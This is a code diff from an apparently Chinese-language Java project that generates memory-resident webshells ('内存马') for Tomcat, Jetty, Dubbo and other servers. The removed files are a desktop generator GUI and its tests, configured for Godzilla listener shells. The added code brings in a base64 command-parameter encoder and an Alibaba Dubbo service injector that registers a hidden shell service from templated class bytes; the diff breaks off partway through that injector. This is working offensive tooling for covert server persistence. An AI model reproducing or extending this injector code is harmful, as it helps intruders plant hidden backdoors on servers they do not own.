import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
|
||||
import javax.swing.*;
|
||||
|
||||
public class Suo5ToolPanel extends AbstractToolPanel {
|
||||
private final JTextField headerNameField = new JTextField();
|
||||
private final JTextField headerValueField = new JTextField();
|
||||
|
||||
public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(controller, refreshAll);
|
||||
add(labeled("请求头名", headerNameField), "growx");
|
||||
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||
addRandomClassSection();
|
||||
bindText(headerNameField, controller::setHeaderName);
|
||||
bindText(headerValueField, controller::setHeaderValue);
|
||||
}
|
||||
|
||||
@Override public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
applyCommonState(s);
|
||||
updating = true;
|
||||
try {
|
||||
headerNameField.setText(s.getHeaderName());
|
||||
headerValueField.setText(s.getHeaderValue());
|
||||
} finally { updating = false; }
|
||||
}
|
||||
}
|
||||
-12
@@ -1,12 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.util;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.datatransfer.StringSelection;
|
||||
|
||||
public final class ClipboardUtil {
|
||||
private ClipboardUtil() {}
|
||||
|
||||
public static void copyText(String text) {
|
||||
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
|
||||
}
|
||||
}
|
||||
-50
@@ -1,50 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.util;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.filechooser.FileNameExtensionFilter;
|
||||
import java.awt.*;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.Base64;
|
||||
|
||||
public final class FileSaveUtil {
|
||||
private FileSaveUtil() {}
|
||||
|
||||
public static void saveText(Component parent, String suggestedName, String content) throws IOException {
|
||||
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
|
||||
if (file == null) return;
|
||||
try (FileOutputStream fos = new FileOutputStream(file)) {
|
||||
fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
|
||||
}
|
||||
}
|
||||
|
||||
public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
|
||||
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
|
||||
if (file == null) return;
|
||||
byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
|
||||
try (FileOutputStream fos = new FileOutputStream(file)) {
|
||||
fos.write(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
|
||||
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
|
||||
if (file == null) return;
|
||||
try (FileOutputStream fos = new FileOutputStream(file)) {
|
||||
fos.write(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
|
||||
JFileChooser chooser = new JFileChooser();
|
||||
chooser.setSelectedFile(new File(suggestedName));
|
||||
chooser.setFileFilter(filter);
|
||||
int result = chooser.showSaveDialog(parent);
|
||||
if (result != JFileChooser.APPROVE_OPTION) {
|
||||
return null;
|
||||
}
|
||||
return chooser.getSelectedFile();
|
||||
}
|
||||
}
|
||||
-32
@@ -1,32 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.util;
|
||||
|
||||
import javax.swing.*;
|
||||
import java.awt.*;
|
||||
|
||||
public final class SwingUiUtil {
|
||||
private SwingUiUtil() {}
|
||||
|
||||
public static JPanel titledPanel(String title, LayoutManager layout) {
|
||||
JPanel panel = new JPanel(layout);
|
||||
panel.setBorder(BorderFactory.createCompoundBorder(
|
||||
BorderFactory.createTitledBorder(title),
|
||||
BorderFactory.createEmptyBorder(6, 6, 6, 6)));
|
||||
return panel;
|
||||
}
|
||||
|
||||
public static void showError(Component parent, String message) {
|
||||
JOptionPane.showMessageDialog(parent, message, "错误", JOptionPane.ERROR_MESSAGE);
|
||||
}
|
||||
|
||||
public static void showInfo(Component parent, String message) {
|
||||
JOptionPane.showMessageDialog(parent, message, "提示", JOptionPane.INFORMATION_MESSAGE);
|
||||
}
|
||||
|
||||
public static void runOnEdt(Runnable runnable) {
|
||||
if (SwingUtilities.isEventDispatchThread()) {
|
||||
runnable.run();
|
||||
} else {
|
||||
SwingUtilities.invokeLater(runnable);
|
||||
}
|
||||
}
|
||||
}
|
||||
-73
@@ -1,73 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.validation;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class MemShellValidator {
|
||||
public static class Result {
|
||||
private final Map<String, String> fieldErrors = new LinkedHashMap<>();
|
||||
|
||||
public boolean isValid() {
|
||||
return fieldErrors.isEmpty();
|
||||
}
|
||||
|
||||
public Map<String, String> getFieldErrors() {
|
||||
return fieldErrors;
|
||||
}
|
||||
|
||||
public void add(String field, String message) {
|
||||
fieldErrors.put(field, message);
|
||||
}
|
||||
|
||||
public String firstMessage() {
|
||||
return fieldErrors.values().stream().findFirst().orElse("");
|
||||
}
|
||||
}
|
||||
|
||||
public Result validate(MemShellFormState s) {
|
||||
Result r = new Result();
|
||||
required(r, "server", s.getServer(), "请选择服务类型");
|
||||
required(r, "serverVersion", s.getServerVersion(), "请选择服务版本");
|
||||
required(r, "shellTool", s.getShellTool(), "请选择内存马工具");
|
||||
required(r, "shellType", s.getShellType(), "请选择内存马挂载类型");
|
||||
required(r, "packingMethod", s.getPackingMethod(), "请选择打包方式");
|
||||
|
||||
if (needsUrlPattern(s.getShellType()) && isInvalidUrl(s.getUrlPattern())) {
|
||||
r.add("urlPattern", "请使用具体 URL 路径,不能为 / 或 /*");
|
||||
}
|
||||
if ("Custom".equals(s.getShellTool()) && (s.getShellClassBase64() == null || s.getShellClassBase64().trim().isEmpty())) {
|
||||
r.add("shellClassBase64", "自定义内存马 Class(Base64) 不能为空");
|
||||
}
|
||||
if ("TongWeb".equals(s.getServer()) && "Valve".equals(s.getShellType()) && "Unknown".equals(s.getServerVersion())) {
|
||||
r.add("serverVersion", "TongWeb Valve 模式需要指定服务版本");
|
||||
}
|
||||
if ("Jetty".equals(s.getServer())
|
||||
&& ("Handler".equals(s.getShellType()) || "JakartaHandler".equals(s.getShellType()))
|
||||
&& "Unknown".equals(s.getServerVersion())) {
|
||||
r.add("serverVersion", "Jetty Handler 模式需要指定服务版本");
|
||||
}
|
||||
return r;
|
||||
}
|
||||
|
||||
public boolean needsUrlPattern(String shellType) {
|
||||
if (shellType == null || shellType.trim().isEmpty()) return false;
|
||||
if (shellType.startsWith("Agent")) return false;
|
||||
return shellType.endsWith("Servlet") ||
|
||||
shellType.endsWith("ControllerHandler") ||
|
||||
shellType.equals("HandlerMethod") ||
|
||||
shellType.equals("HandlerFunction") ||
|
||||
shellType.endsWith("WebSocket");
|
||||
}
|
||||
|
||||
public boolean isInvalidUrl(String urlPattern) {
|
||||
return urlPattern == null || urlPattern.trim().isEmpty() || "/".equals(urlPattern) || "/*".equals(urlPattern) || !urlPattern.startsWith("/");
|
||||
}
|
||||
|
||||
private void required(Result r, String field, String value, String message) {
|
||||
if (value == null || value.trim().isEmpty()) {
|
||||
r.add(field, message);
|
||||
}
|
||||
}
|
||||
}
|
||||
-51
@@ -1,51 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.controller;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class MemShellFormControllerTest {
|
||||
|
||||
@Test
|
||||
void shouldAdjustJdkForSpringWebFluxAndResetDependentFields() {
|
||||
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||
controller.setServerVersion("Unknown");
|
||||
controller.setUrlPattern("/abc");
|
||||
|
||||
controller.setServer("SpringWebFlux");
|
||||
|
||||
assertEquals("52", controller.getState().getTargetJdkVersion());
|
||||
assertEquals("", controller.getState().getUrlPattern());
|
||||
assertNotNull(controller.getState().getShellTool());
|
||||
assertFalse(controller.getState().getShellTool().isEmpty());
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldFilterAgentPackersForAgentShellType() {
|
||||
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||
controller.setShellType("AgentFilterChain");
|
||||
List<?> filtered = controller.getFilteredPackers();
|
||||
assertFalse(filtered.isEmpty());
|
||||
assertTrue(controller.getFilteredPackers().stream().allMatch(p -> p.getName().startsWith("Agent")));
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldToggleRandomClassNameAndRestoreValues() {
|
||||
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||
controller.setRandomClassName(false);
|
||||
controller.setShellClassName("a.b.C");
|
||||
controller.setInjectorClassName("x.y.Z");
|
||||
|
||||
controller.setRandomClassName(true);
|
||||
assertEquals("", controller.getState().getShellClassName());
|
||||
assertEquals("", controller.getState().getInjectorClassName());
|
||||
|
||||
controller.setRandomClassName(false);
|
||||
assertEquals("a.b.C", controller.getState().getShellClassName());
|
||||
assertEquals("x.y.Z", controller.getState().getInjectorClassName());
|
||||
}
|
||||
}
|
||||
-34
@@ -1,34 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.service;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class CustomClassNameParserTest {
|
||||
@Test
|
||||
void shouldParseClassNameFromClassBytesAndBase64() throws Exception {
|
||||
CustomClassNameParser parser = new CustomClassNameParser();
|
||||
byte[] bytes = readOwnClassBytes();
|
||||
String expected = this.getClass().getName();
|
||||
|
||||
assertEquals(expected, parser.parseClassName(bytes));
|
||||
assertEquals(expected, parser.parseClassNameFromBase64(Base64.getEncoder().encodeToString(bytes)));
|
||||
}
|
||||
|
||||
private byte[] readOwnClassBytes() throws IOException {
|
||||
String resource = "/" + this.getClass().getName().replace('.', '/') + ".class";
|
||||
InputStream in = this.getClass().getResourceAsStream(resource);
|
||||
assertNotNull(in);
|
||||
try (InputStream is = in; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
|
||||
byte[] buf = new byte[4096];
|
||||
int n;
|
||||
while ((n = is.read(buf)) != -1) out.write(buf, 0, n);
|
||||
return out.toByteArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
-29
@@ -1,29 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.service;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class GenerationServiceTest {
|
||||
@Test
|
||||
void shouldGenerateTomcatGodzillaListenerWithBase64Packer() {
|
||||
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||
controller.setServer("Tomcat");
|
||||
controller.setShellTool("Godzilla");
|
||||
controller.setShellType("Listener");
|
||||
controller.setPacker("Base64");
|
||||
|
||||
GenerationService service = new GenerationService();
|
||||
DesktopMemShellGenerateResult result = service.generate(controller.getState().copy());
|
||||
|
||||
assertNotNull(result);
|
||||
assertEquals("Base64", result.getPackMethod());
|
||||
assertNotNull(result.getPackResult());
|
||||
assertFalse(result.getPackResult().isEmpty());
|
||||
assertNotNull(result.getMemShellResult().getShellBytesBase64Str());
|
||||
assertNotNull(result.getMemShellResult().getInjectorBytesBase64Str());
|
||||
}
|
||||
}
|
||||
-56
@@ -1,56 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui;
|
||||
|
||||
import org.junit.jupiter.api.Assumptions;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import javax.swing.*;
|
||||
import java.awt.*;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class MemShellGeneratorFrameLayoutTest {
|
||||
|
||||
@Test
|
||||
void shouldUseStackedLayoutWithoutSplitPaneAndKeepGenerateButton() throws Exception {
|
||||
Assumptions.assumeFalse(GraphicsEnvironment.isHeadless(), "Headless environment");
|
||||
|
||||
final MemShellGeneratorFrame[] ref = new MemShellGeneratorFrame[1];
|
||||
SwingUtilities.invokeAndWait(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
ref[0] = new MemShellGeneratorFrame();
|
||||
}
|
||||
});
|
||||
|
||||
try {
|
||||
final JComponent[] contentRef = new JComponent[1];
|
||||
final JButton[] buttonRef = new JButton[1];
|
||||
final Dimension[] minSizeRef = new Dimension[1];
|
||||
SwingUtilities.invokeAndWait(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
contentRef[0] = ref[0].getMainContentPanel();
|
||||
buttonRef[0] = ref[0].getGenerateButton();
|
||||
minSizeRef[0] = ref[0].getMinimumSize();
|
||||
}
|
||||
});
|
||||
|
||||
assertNotNull(contentRef[0]);
|
||||
assertFalse(contentRef[0] instanceof JSplitPane, "main content should not be a JSplitPane");
|
||||
assertNotNull(buttonRef[0]);
|
||||
assertTrue(buttonRef[0].isEnabled());
|
||||
assertNotNull(minSizeRef[0]);
|
||||
assertTrue(minSizeRef[0].width >= 1180);
|
||||
assertTrue(minSizeRef[0].height >= 900);
|
||||
} finally {
|
||||
SwingUtilities.invokeAndWait(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
if (ref[0] != null) {
|
||||
ref[0].dispose();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
-71
@@ -1,71 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
|
||||
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import javax.swing.*;
|
||||
import java.awt.*;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class ResultPanelBasicInfoLayoutTest {
|
||||
|
||||
@Test
|
||||
void shouldUseStructuredNoScrollBasicInfo() throws Exception {
|
||||
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||
controller.setServer("Tomcat");
|
||||
controller.setShellTool("Godzilla");
|
||||
controller.setShellType("Listener");
|
||||
controller.setPacker("Base64");
|
||||
DesktopMemShellGenerateResult result = new GenerationService().generate(controller.getState().copy());
|
||||
|
||||
final ResultPanel panel = new ResultPanel();
|
||||
SwingUtilities.invokeAndWait(new Runnable() {
|
||||
@Override
|
||||
public void run() {
|
||||
panel.showResult(result);
|
||||
}
|
||||
});
|
||||
|
||||
JComponent basic = panel.getBasicInfoComponent();
|
||||
assertNotNull(basic);
|
||||
assertTrue(basic instanceof JPanel);
|
||||
assertFalse(containsScrollPane(basic), "basic info section should not contain JScrollPane");
|
||||
assertTrue(containsText(panel, "服务类型"));
|
||||
assertTrue(containsText(panel, "内存马功能"));
|
||||
assertTrue(containsText(panel, "注入器类名"));
|
||||
assertTrue(containsText(panel, "内存马类名"));
|
||||
}
|
||||
|
||||
private boolean containsScrollPane(Component c) {
|
||||
if (c instanceof JScrollPane) return true;
|
||||
if (c instanceof Container) {
|
||||
for (Component child : ((Container) c).getComponents()) {
|
||||
if (containsScrollPane(child)) return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private boolean containsText(Component c, String expected) {
|
||||
if (c instanceof JLabel) {
|
||||
String text = ((JLabel) c).getText();
|
||||
if (text != null && text.contains(expected)) return true;
|
||||
}
|
||||
if (c instanceof JTextField) {
|
||||
String text = ((JTextField) c).getText();
|
||||
if (text != null && text.contains(expected)) return true;
|
||||
}
|
||||
if (c instanceof Container) {
|
||||
for (Component child : ((Container) c).getComponents()) {
|
||||
if (containsText(child, expected)) return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
-59
@@ -1,59 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.validation;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
class MemShellValidatorTest {
|
||||
private final MemShellValidator validator = new MemShellValidator();
|
||||
|
||||
@Test
|
||||
void shouldRejectGenericUrlPatternWhenRequired() {
|
||||
MemShellFormState s = new MemShellFormState();
|
||||
s.setPackingMethod("Base64");
|
||||
s.setShellType("Servlet");
|
||||
s.setUrlPattern("/*");
|
||||
|
||||
MemShellValidator.Result result = validator.validate(s);
|
||||
assertFalse(result.isValid());
|
||||
assertTrue(result.getFieldErrors().containsKey("urlPattern"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldAllowNoUrlPatternForListener() {
|
||||
MemShellFormState s = new MemShellFormState();
|
||||
s.setPackingMethod("Base64");
|
||||
s.setShellType("Listener");
|
||||
s.setUrlPattern("/*");
|
||||
|
||||
MemShellValidator.Result result = validator.validate(s);
|
||||
assertTrue(result.isValid());
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldRequireCustomShellBase64ForCustomTool() {
|
||||
MemShellFormState s = new MemShellFormState();
|
||||
s.setPackingMethod("Base64");
|
||||
s.setShellTool("Custom");
|
||||
s.setShellClassBase64("");
|
||||
|
||||
MemShellValidator.Result result = validator.validate(s);
|
||||
assertFalse(result.isValid());
|
||||
assertTrue(result.getFieldErrors().containsKey("shellClassBase64"));
|
||||
}
|
||||
|
||||
@Test
|
||||
void shouldRequireJettyVersionForHandler() {
|
||||
MemShellFormState s = new MemShellFormState();
|
||||
s.setPackingMethod("Base64");
|
||||
s.setServer("Jetty");
|
||||
s.setShellType("Handler");
|
||||
s.setServerVersion("Unknown");
|
||||
s.setUrlPattern("/x");
|
||||
|
||||
MemShellValidator.Result result = validator.validate(s);
|
||||
assertFalse(result.isValid());
|
||||
assertTrue(result.getFieldErrors().containsKey("serverVersion"));
|
||||
}
|
||||
}
|
||||
@@ -29,7 +29,6 @@ tasks.test {
|
||||
dependencies {
|
||||
implementation(project(":memshell-party-common"))
|
||||
implementation(project(":packer"))
|
||||
implementation(project(":thirdparty:thirdparty-tomcat"))
|
||||
api(libs.byte.buddy)
|
||||
implementation(libs.asm.commons)
|
||||
implementation(libs.javax.websocket.api)
|
||||
@@ -38,10 +37,12 @@ dependencies {
|
||||
implementation(libs.jakarta.servlet.api)
|
||||
implementation(libs.spring.webmvc)
|
||||
implementation(libs.spring.webflux)
|
||||
implementation(libs.tomcat.embed.core)
|
||||
implementation(libs.reactor.netty.core)
|
||||
implementation(libs.alibaba.dubbo)
|
||||
implementation(libs.apache.dubbo)
|
||||
implementation(libs.jackson.annotations)
|
||||
implementation(libs.bundles.jna)
|
||||
implementation("org.apache.dubbo:dubbo:2.7.8")
|
||||
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.hamcrest)
|
||||
|
||||
@@ -63,7 +63,7 @@ public class MemShellGenerator {
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
if (ShellType.DUBBO_SERVICE.equals(shellConfig.getShellType())) {
|
||||
if (shellConfig.getShellType().endsWith(ShellType.DUBBO_SERVICE)) {
|
||||
String packageName = CommonUtil.getPackageName(shellToolConfig.getShellClassName());
|
||||
String simpleName = CommonUtil.getSimpleName(shellToolConfig.getShellClassName());
|
||||
String interfaceName = packageName + ".I" + simpleName;
|
||||
|
||||
@@ -32,8 +32,6 @@ public class MemShellResult {
|
||||
private transient Map<String, byte[]> injectorInnerClassBytes;
|
||||
private long injectorSize;
|
||||
private String injectorBytesBase64Str;
|
||||
private String injectorHelperBytesBase64Str;
|
||||
private long injectorHelperSize;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
@@ -48,20 +46,13 @@ public class MemShellResult {
|
||||
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes);
|
||||
injectorSize = injectorBytes.length;
|
||||
}
|
||||
if (injectorConfig != null && injectorConfig.getHelperClassBytes() != null) {
|
||||
injectorHelperBytesBase64Str = Base64.getEncoder().encodeToString(injectorConfig.getHelperClassBytes());
|
||||
injectorHelperSize = injectorConfig.getHelperClassBytes().length;
|
||||
|
||||
}
|
||||
return new MemShellResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize,
|
||||
injectorBytesBase64Str, injectorHelperBytesBase64Str, injectorHelperSize,
|
||||
shellConfig, shellToolConfig, injectorConfig);
|
||||
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
|
||||
public JarPackerConfig toJarPackerConfig() {
|
||||
JarPackerConfig<?> jarPackerConfig = new JarPackerConfig<>();
|
||||
JarPackerConfig jarPackerConfig = new JarPackerConfig();
|
||||
jarPackerConfig.setMainClassName(injectorClassName);
|
||||
Map<String, byte[]> bytes = new HashMap<>();
|
||||
bytes.put(shellClassName, shellBytes);
|
||||
@@ -74,7 +65,7 @@ public class MemShellResult {
|
||||
}
|
||||
|
||||
public ClassPackerConfig toClassPackerConfig() {
|
||||
ClassPackerConfig<?> classPackerConfig = new ClassPackerConfig<>();
|
||||
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||
classPackerConfig.setClassName(injectorClassName);
|
||||
classPackerConfig.setClassBytes(injectorBytes);
|
||||
classPackerConfig.setClassBytesBase64Str(injectorBytesBase64Str);
|
||||
|
||||
@@ -163,7 +163,8 @@ public class ServerFactory {
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||
.addShellClass(DUBBO_SERVICE, CommandDubboService.class)
|
||||
.addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
|
||||
@@ -49,7 +49,9 @@ public class ShellType {
|
||||
public static final String JAKARTA_WEBSOCKET = "JakartaWebSocket";
|
||||
public static final String JAKARTA_BYPASS_NGINX_WEBSOCKET = "JakartaWebBypassNginx" + WEBSOCKET;
|
||||
|
||||
public static final String DUBBO_SERVICE = "DubboService";
|
||||
|
||||
public static final String ACTION = "Action";
|
||||
|
||||
public static final String DUBBO_SERVICE = "DubboService";
|
||||
public static final String APACHE_DUBBO_SERVICE = "Apache" + DUBBO_SERVICE;
|
||||
public static final String ALIBABA_DUBBO_SERVICE = "Alibaba" + DUBBO_SERVICE;
|
||||
}
|
||||
|
||||
@@ -91,12 +91,15 @@ public class CommandConfig extends ShellToolConfig {
|
||||
}
|
||||
|
||||
public enum Encryptor {
|
||||
RAW, DOUBLE_BASE64;
|
||||
RAW, BASE64, DOUBLE_BASE64;
|
||||
|
||||
public static Encryptor fromString(String encryptor) {
|
||||
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||
return DOUBLE_BASE64;
|
||||
}
|
||||
if (encryptor != null && encryptor.equals("BASE64")) {
|
||||
return BASE64;
|
||||
}
|
||||
return RAW;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,6 +27,12 @@ public class InjectorConfig {
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
|
||||
/**
|
||||
* 辅助类类名
|
||||
*/
|
||||
private String injectorHelperClassName;
|
||||
|
||||
|
||||
/**
|
||||
* 注入访问的地址
|
||||
*/
|
||||
@@ -43,11 +49,6 @@ public class InjectorConfig {
|
||||
*/
|
||||
private byte[] shellClassBytes;
|
||||
|
||||
/**
|
||||
* 辅助类类名
|
||||
*/
|
||||
private String injectorHelperClassName;
|
||||
|
||||
/**
|
||||
* 辅助类字节码
|
||||
*/
|
||||
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||
import net.bytebuddy.asm.Advice;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/27
|
||||
*/
|
||||
public class Base64ParamInterceptor {
|
||||
|
||||
@Advice.OnMethodExit
|
||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||
returnValue = ShellCommonUtil.base64DecodeToString(param);
|
||||
}
|
||||
}
|
||||
+11
-1
@@ -1,7 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.generator.command;
|
||||
|
||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||
@@ -43,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||
builder = builder
|
||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||
.withParameters(String.class)
|
||||
.throwing(Exception.class)
|
||||
.intercept(FixedValue.nullValue())
|
||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
|
||||
}
|
||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||
builder = builder.visit(Advice.withCustomMapping()
|
||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||
|
||||
+451
@@ -0,0 +1,451 @@
|
||||
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||
|
||||
import com.alibaba.dubbo.common.URL;
|
||||
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
|
||||
import com.alibaba.dubbo.common.utils.ClassHelper;
|
||||
import com.alibaba.dubbo.config.*;
|
||||
import com.alibaba.dubbo.config.model.ApplicationModel;
|
||||
import com.alibaba.dubbo.config.model.ProviderModel;
|
||||
import javassist.ClassPool;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.PrintWriter;
|
||||
import java.io.StringWriter;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.lang.reflect.Method;
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.util.ArrayList;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
public class AlibabaDubboServiceInjector {
|
||||
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||
private static String msg = "";
|
||||
private static boolean ok = false;
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getHelperBase64String() {
|
||||
return "{{helperBase64String}}";
|
||||
}
|
||||
|
||||
public AlibabaDubboServiceInjector() {
|
||||
if (ok) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
msg += registerService();
|
||||
} catch (Throwable e) {
|
||||
msg += "unexcepted error: " + stackTrace(e);
|
||||
}
|
||||
ok = true;
|
||||
System.out.println(msg);
|
||||
}
|
||||
|
||||
public String registerService() throws Exception {
|
||||
